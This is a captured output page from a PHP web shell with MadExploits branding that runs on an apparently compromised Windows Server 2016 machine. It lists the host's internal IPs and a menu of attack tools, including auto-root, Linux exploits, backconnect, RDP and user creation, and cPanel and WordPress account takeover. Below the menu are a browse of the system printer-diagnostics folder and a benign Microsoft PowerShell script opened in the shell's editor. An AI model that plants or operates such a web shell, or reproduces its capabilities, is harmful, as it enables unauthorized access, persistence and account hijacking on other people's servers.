Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
Windows /
diagnostics /
system /
Printer /
[ HOME SHELL ]
Name
Size
Permission
Action
en-US
[ DIR ]
drwxrwxrwx
CL_Utility.ps1
19.68
KB
-rw-rw-rw-
DiagPackage.diagpkg
27.5
KB
-rw-rw-rw-
DiagPackage.dll
63
KB
-rw-rw-rw-
MF_PrinterDiagnostic.ps1
4.11
KB
-rw-rw-rw-
RS_CancelAllJobs.ps1
547
B
-rw-rw-rw-
RS_DeletePrintJobs.ps1
4
KB
-rw-rw-rw-
RS_HomeGroup.ps1
2.71
KB
-rw-rw-rw-
RS_NoPrinterInstalled.ps1
1
KB
-rw-rw-rw-
RS_PrinterDriver.ps1
555
B
-rw-rw-rw-
RS_PrinterTurnedOff.ps1
377
B
-rw-rw-rw-
RS_ProcessPrinterjobs.ps1
1.19
KB
-rw-rw-rw-
RS_RestartSpoolerService.ps1
663
B
-rw-rw-rw-
RS_SetSpoolerStartMode.ps1
490
B
-rw-rw-rw-
RS_SpoolerCrashing.ps1
1.96
KB
-rw-rw-rw-
RS_StartSpoolerService.ps1
1.05
KB
-rw-rw-rw-
RS_WrongDefaultPrinter.ps1
1.37
KB
-rw-rw-rw-
TS_CannotConnect.ps1
3.99
KB
-rw-rw-rw-
TS_DefaultPrinter.ps1
1.42
KB
-rw-rw-rw-
TS_HomeGroup.ps1
2.71
KB
-rw-rw-rw-
TS_NoPrinterInstalled.ps1
1.07
KB
-rw-rw-rw-
TS_OutOfPaper.ps1
663
B
-rw-rw-rw-
TS_OutOfToner.ps1
757
B
-rw-rw-rw-
TS_PaperJam.ps1
654
B
-rw-rw-rw-
TS_PrintJobsStuck.ps1
1.99
KB
-rw-rw-rw-
TS_PrinterDriver.ps1
746
B
-rw-rw-rw-
TS_PrinterDriverError.ps1
1.03
KB
-rw-rw-rw-
TS_PrinterTurnedOff.ps1
760
B
-rw-rw-rw-
TS_SetSpoolerMode.ps1
636
B
-rw-rw-rw-
TS_SpoolerCrashing.ps1
1.36
KB
-rw-rw-rw-
TS_SpoolerService.ps1
640
B
-rw-rw-rw-
UpdatePrinterDriver.dll
10.5
KB
-rw-rw-rw-
VF_PrinterTurnedOff.ps1
1.23
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : RS_DeletePrintJobs.ps1
# Copyright ?2008, Microsoft Corporation. All rights reserved. PARAM($printerName) # # Delete *.spl and *.shd files will remove all jobs from the printer queue first, and then delete all jobs using WMI. # Import-LocalizedData -BindingVariable localizationString -FileName CL_LocalizationData . .\CL_Utility.ps1 Write-DiagProgress -activity $localizationString.progress_rs_deletePrintJobs # # Delete *.spl and *.shd files will remove all jobs from the printer queue # [string]$directory = GetSystemPath "\spool\printers" [string]$dirsps = GetSystemPath "\spool\SERVERS" [string]$directoryServer = $null $printFiles = @(Get-ChildItem $directory | where-object -FilterScript { $_.Extension -eq ".spl" -or $_.Extension -eq ".shd" }) # # Set the directory of print files to the SERVERS folder for network printers # $printer = Get-WmiObject -Class Win32_Printer | Where-Object {$_.Name -eq $printerName } if ($printer.Local -eq $false) { $dirsvr = Get-ChildItem $dirsps | where-object -FilterScript { $printerName -like "*" + $_.Name + "*"} $directoryServer = $dirsvr.PSPath $printFiles += @(Get-ChildItem $directoryServer | where-object -FilterScript { $_.Extension -eq ".spl" -or $_.Extension -eq ".shd" }) } if($printFiles.Count -gt 0) { [string]$faxStatus = (Get-Service Fax).Status try { Stop-Service Spooler -Force WaitFor-ServiceStatus "Spooler" ([ServiceProcess.ServiceControllerStatus]::Stopped) $printFiles | foreach { Remove-Item $_.FullName } } finally { Start-Service Spooler WaitFor-ServiceStatus "Spooler" ([ServiceProcess.ServiceControllerStatus]::Running) if($faxStatus -eq "Running") { Start-Service Fax WaitFor-ServiceStatus "Fax" ([ServiceProcess.ServiceControllerStatus]::Running) } } # # update report # $notDeletedFiles = @(Get-ChildItem $directory | where-object -FilterScript { $_.Extension -eq ".spl" -or $_.Extension -eq ".shd" }) if (($printer.Local -eq $false) -and ($directoryServer -ne $null)) { $notDeletedFiles += @(Get-ChildItem $directoryServer | where-object -FilterScript { $_.Extension -eq ".spl" -or $_.Extension -eq ".shd" }) } $deletedFileNames = New-Object System.Collections.ArrayList $notDeletedFileNames = New-Object System.Collections.ArrayList if($notDeletedFiles.Count -eq 0) { foreach($file in $printFiles) { $deletedFileNames += $file.Name } } else { foreach($file in $printFiles) { [bool]$notDeleted = $false foreach($notDeletedfile in $notDeletedFiles) { if($file.Name -eq $notDeletedFile.Name) { $notDeleted = $true break } } if($notDeleted) { $notDeletedFileNames += $file.Name } else { $deletedFileNames += $file.Name } } } if($deletedFileNames.Length -gt 0) { $deletedFileNames | select-object -Property @{Name=$localizationString.fileName; Expression={$_}} | convertto-xml | Update-DiagReport -id DeletedFiles -name $localizationString.deletedFiles_name -verbosity Informational } if($notDeletedFileNames.Length -gt 0) { $notDeletedFileNames | select-object -Property @{Name=$localizationString.fileName; Expression={$_}} | convertto-xml | Update-DiagReport -id CannotDeletedFiles -name $localizationString.cannotDeletedFiles_name -description $localizationString.cannotDeletedFiles_description -verbosity Informational } } # # First try to delete current user's jobs in case that the user does not have permissions to delete all jobs, then try to delete all. # $printer = Get-WmiObject -Class Win32_Printer -ErrorAction SilentlyContinue | Where-Object {$_.Name -eq $printerName } if ($printer -ne $null) { try { Get-WmiObject -Class Win32_PrintJob -ErrorAction Stop | Where-Object {$_.Name.Split(",")[0] -ieq $printerName -and $_.Owner -eq $env:USERNAME } | ForEach-Object {$_.Delete()} Get-WmiObject -Class Win32_PrintJob -ErrorAction Stop | Where-Object {$_.Name.Split(",")[0] -ieq $printerName} | ForEach-Object {$_.Delete()} } catch {} }
Close